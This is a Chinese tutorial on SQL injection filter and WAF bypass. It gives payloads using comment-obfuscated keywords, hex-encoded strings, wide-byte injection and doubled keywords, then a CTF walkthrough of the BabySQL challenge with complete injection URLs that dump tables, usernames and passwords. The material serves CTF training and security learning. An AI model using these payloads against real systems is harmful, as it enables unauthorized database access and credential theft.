SQL注入绕过(passby)策略
SQL注入绕过技巧
空格绕过
- 注释符/* */,%a0,%0a
- 括号绕过空格
select(user())from dual where(1=1)and(2=2)
引号绕过
采用16进制编码绕过,例如:
select column_name from information_schema.columns where table_name='users'
选中users,将其改为16进制编码
select column_name from information_schema.tables where table_name=0x7573657273
绕过注释符:#、-- -
通过闭合后面的引号来进行绕过
- id=1' union select 1,2,3||'1
- id=1' union select 1,2,'3
- Id=1’ where ‘1’=‘1
- Id=1’ and ‘1’=‘1
- Id=1’ or ‘1’=‘1
宽字节注入:
大家都知道PHP在开启magic_quotes_gpc或者使用addslashes、iconv等函数的时候,单引号(')会被转义成\'。比如字 符%bf在满足上述条件的情况下会变成%bf\'。其中反斜杠(\)的十六进制编码是%5C,单引号(')的十六进制编码是%27,那么就可以得出%bf \'=%bf%5c%27。如果程序的默认字符集是GBK等宽字节字符集,则MySQL会认为%bf%5c是一个宽字符,也就是“縗”。也就是说%bf \'=%bf%5c%27=縗'。
?id=1%df'
代替and,or,not等等
- 利用符号替换 not=!、and=&&、or=||、xnot=|
- 在敏感词中添加注释:an/**/d
- 双写绕过:oorr
- 大小写变形:AnD
- 编码
绕过union,select,where等:
- uniounionn:双写绕过 union、select、where等.
- U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
- UniOn:大小写绕过
例题:[极客大挑战 2019]BabySQL1
首先输入万能密码进行尝试:' or '1'='1-- -,发现回显是错误用户名和密码,说明没有注入成功,然后输入在用户名处输入1'发现报错。
根据报错信息推断出闭合的条件就是单引号',所以继续在用户名处输入1'-- -,密码:1(一下密码不做特殊声明外均为1)进一步验证判断是否正确。
发现成功注入,说明闭合条件判断正确,同时能够确认几点信息:
- 该题目没有过滤单引号
- 该题目没有过滤空格
- 该题目没有过滤注释符
确认几点信息之后继续输入语句进行判断数据库的列数,方便进一步注入。
?username=admin' order by 1,2,3,4 -- -&password=1
发现报错的回显为:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'der 1,2,3,4 -- -' and password='1'' at line 1
这里说明输入的order by语句被过滤了or,导致最后语句只输入了der 1,2,3,4,所以首先尝试双写or,即写为oorrder进行尝试,看看能否成功。
?username=admin' oorrder by 1,2,3,4 -- -&password=1
输入之后发现order的问题没有继续报错,但是by被屏蔽了,所以同样的处理双写by为bbyy,最终的语句为:
?username=admin' oorrder bbyy 1,2,3,4 -- -&password=1
输入语句之后发现回显为:Unknown column '4' in 'order clause'。说明一共只有三列。这时候输入union select语句去判断显示位
?username=admin' and 1=2 union selcet 1,2,3 -- -&password=1
发现报错的回显为:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1=2 selcet 1,2,3 -- -' and password='1'' at line 1。说明union被过滤了,所以同样的办法,双写union为ununionion继续尝试。发现仍然报错,这时候继续双写select为seselectlect尝试。发现成功。
?username=-1' ununionion seselectlect 1,2,3 -- -&password=1
找出显示位以后继续输入如下语句,依次爆出数据库,表名以及列名。
?username=-1' ununionion seselectlect 1,2,database()-- -&password=1?username=-1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database() -- -&password=1?username=-1' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' -- -&password=1
列名如下:
发现还没有找到flag值,所以继续爆id,username,password看看flag是否隐藏在数据之中。
?username=-1' ununionion seselectlect 1,2,group_concat(id,0x3a,username,0x3a,passwoorrd) frfromom b4bsql -- -&password=1
发现flag值隐藏在password之中,其值为:flag{7186e94f-091e-4e44-8736-c93c5534aa64}
SQL注入绕过(passby)策略相关推荐
- sql注释符注入防御_WAF的SQL注入绕过手段和防御技术
一.关于SQL注入 SQL注入是一种常见的入侵WEB应用的手法.SQL注入是利用应用系统的编程漏洞和SQL语言的语法特征,改变原始的SQL语句执行逻辑而产生的. 攻击者向Web应用发送精心构造的输入数 ...
- 黑客常用SQL注入绕过技术总结!
今天给大家再次分享一篇硬核内容,那就是黑客常用的SQL注入绕过技术,还是那句话:我们学渗透技术不是为了攻击别人的系统,而是了解黑客常用的渗透技能,以此来修复我们自己系统中的漏洞,使我们的系统更加健壮, ...
- sql注入绕过姿势--骚姿势大全
项目地址 https://github.com/Junehck/SQL-injection-bypass 项目介绍 记录实战中的各种sql注入绕过姿势, 文章并不是完整的仅提取出byapss部分, 如 ...
- 黑客常用SQL注入绕过技术总结!(冰河吐血整理,建议收藏)
大家好,我是冰河~~ 今天给大家再次分享一篇硬核内容,那就是黑客常用的SQL注入绕过技术,还是那句话:我们学渗透技术不是为了攻击别人的系统,而是了解黑客常用的渗透技能,以此来修复我们自己系统中的漏洞, ...
- SQL注入绕过安全狗
SQL注入绕过安全狗 前期知识 黑名单 演示开始 内联注释绕过 模糊查询绕过 查询数据库用户名和表信息 前期知识 网站安全狗是一款集网站内容安全防护.网站资源保护及网站流量保护功能为一体的服务器工具, ...
- 安全狗SQL注入绕过
安全狗SQL注入绕过 本文用sqli-labs第一关为例 一.简单注入 开启安全狗后尝试正常注入,发送请求后可以看到被安全狗拦截了 1' and 1=1 %23 寻找被安全狗匹配的特征字符,这里没被拦 ...
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 深入理解SQL注入绕过WAF与过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- SQL注入-绕过安全狗
目录 一.什么是安全狗 二.演示如何绕过安全狗的防护 1.方式一:内联注释正常绕过 2.方式二:内联反向思维绕过. 3.方式三:GET传参绕过 4.方式四:URL编码绕过 一.什么是安全狗 网站安全狗 ...
最新文章
- 如何使用FaunaDB + GraphQL
- 转- prototype
- ADO.NET 2.0 - 读者询问能否使用 SqlBulkCopy 对象来大量复制文字文件
- ElasticSearch 2.2 升级 6.2.4
- Java 集合系列(2): ArrayList源码深入解析和使用示例
- matlab涡轮机建模,数学实验大作业---数学曲面
- Pinterest:Android系统上的视频管理
- Android XML文件中设置字体
- 【渝粤题库】陕西师范大学200731 计算机组成原理
- golang高并发的理解
- 从头来之【iOS及历史版本特性介绍】
- python 键盘输入一个整数、输出它的千位与百位_Python编程习题
- [转]关于computer vision的会议及vision guys
- HTML语言的三要素,web前端基础技术三要素HTML、CSS、JavaScript
- Linux音频驱动-OSS和ALSA声音系统简介及其比较
- 十、工业相机与SCARA机械臂的坐标系标定
- android 京东平板布局,京东商城上线安卓Pad客户端 完美布局移动端
- 看待一件事,从不喜欢再到喜欢,转变需要多大
- 最优化方法一:微分求极值
- 数据结构学习笔记之快速排序(非递归)
热门文章
- Android写入txt文件
- 小米有品5月12日上线了首款挂耳咖啡——龢言挂耳咖啡
- html按钮超链接到微信,技巧|教你给微信聊天文字加上超链接,装逼小技能!...
- java是面向对象还是面向过程_Java教程分享Java面向对象与面向过程
- 20210719-t101-对称二叉树
- 常用电平LVTTL、LVCMOS、LVDS、CML的标准和区别
- Debian安装metasploit
- 上班族最常用数据图表分析软件有哪些
- python在tk界面播放本地视频_tkinter做一个本地视频播放器(2)——弹幕
- 添加按钮声音nbsp;nbsp;播放声音